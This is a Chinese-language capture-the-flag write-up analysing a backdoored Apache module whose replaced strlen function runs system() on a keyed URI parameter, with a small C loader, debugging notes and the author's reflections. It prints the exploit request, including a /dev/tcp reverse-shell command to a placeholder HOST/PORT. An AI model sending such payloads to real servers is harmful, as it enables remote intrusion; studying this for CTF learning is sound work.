题目给了一个网站 , 访问发现是 apache2 的首页
题目还提供了一个二进制程序
下载下来发现是 apache2 的一个扩展链接库
猜测很有可能是 apache 的扩展后门
发现有一个很奇怪的 strlen 函数
定位到 strlen 函数
image.png
这里调用了 system 函数 , 参数 sa 似乎可控
image.png写了一段小代码去调用这个函数
#include <stdio.h>
#include <dlfcn.h>
int (*backdoor_strlen)(char *);
int main(){
// char request_headers[] = "GET index.html HTTP/1.1\r\n\r\n";
char request_headers[] = "GET";
void *handle = dlopen("./backdoor.so", RTLD_LAZY);
backdoor_strlen = (int (*)(char *))dlsym(handle, "strlen");
backdoor_strlen(request_headers);
}
main:main.c
gcc -g -o main main.c -ldl
clean:
rm -rf ./main
动态调试一波 :
为了快速拿到 needle 可以直接断在 memmem 这里 :
因为这里刚好是在参数中寻找 needle 这个字符串
这样我们只需要顺着这个后门的逻辑以这个字符串为键 , 命令为值构造 payload 即可
GET ndex.html?dpdpdpamamamamajvjvjvjvgsgsgsgsgpdp=[COMMAND] HTTP/1.1
在后门的逻辑中 , 会将命令中所有的下划线都替换为空格
因为 apache 中空格会影响对 HTTP 请求中 URI 的解析
而后门的命令就是在 URI 中的 , 所以需要替换一次
所以最终可以直接利用后门反弹 shell
GET ndex.html?dpdpdpamamamamajvjvjvjvgsgsgsgsgpdp=bash_-c_'bash_-i_&>/dev/tcp/HOST/PORT_0>&1 HTTP/1.1
注意这里有一个坑点就是 , 不能直接使用浏览器来利用这个后门 , 因为你的URI中的特殊字符会被浏览器自动转义
所以可以使用 netcat 或者 burpsuite 等
也可以直接用 socket
比赛的时候死活觉得这个后门有逻辑问题 , 根本不能执行到 system 函数
因为当时是这样理解的 :
image.png image.png image.png
因为比赛的时候 , 我不知道怎么去直接调试 apache , 所以就直接写代码加载这个 so 库
然后传入的参数是整个 HTTP 请求 , 所以无论如何都无法进入这个分支
比赛结束后 , 又遇到上海大学生信息安全大赛 , 其中刚好出这道原题
然后直接利用 Hack.Lu 的 Payload 整上去侥幸拿了一血
直到上海的比赛结束一天晚上和家伟讨论的时候才猛然醒悟
原来 apache 调用这个函数的时候不是将整个请求传进去的
应该是会先调用这个函数得到请求方法的长度 , 也就是 strlen('GET')
这个时候 , trigger 会自增 , 变成 1
然后因为 memmem 函数的第二个参数是 strlen('GET') , 所以肯定不可能找到 needle
但是 , 接下来 apache 会把请求的 URI 传入 , 这个时候 trigger 已经是 1 了
所以就可以直接执行命令了
最开始没有想通的原因就是没有想到 apache 不是将整个请求头传给 strlen 这个函数的
而是分成小块传递的
后记 :
暂时还不是很懂为什么这个后门可以执行 , 为什么函数叫 strlen
自己意淫的感觉可能因为这个后门的 strlen 函数将 apache 的 strlen 函数给替换掉了 ?
这样 apache 在收到一个请求之后 , 他本身的逻辑肯定会调用 strlen 函数来求 URI 的长度
这样就可以触发这个后门吗 ?
暂时还不知道这种后门应该怎么直接调试 apache
apache 应该是一个多进程的 web server 吧
可能需要用调试器 attach 上去
最近比较忙 , 先占个坑 , 等以后搞清楚怎么调试这种多进程的程序再补上
//TODO 还得查查怎么调试多线程的程序 , 感觉难度可能有点大
网友评论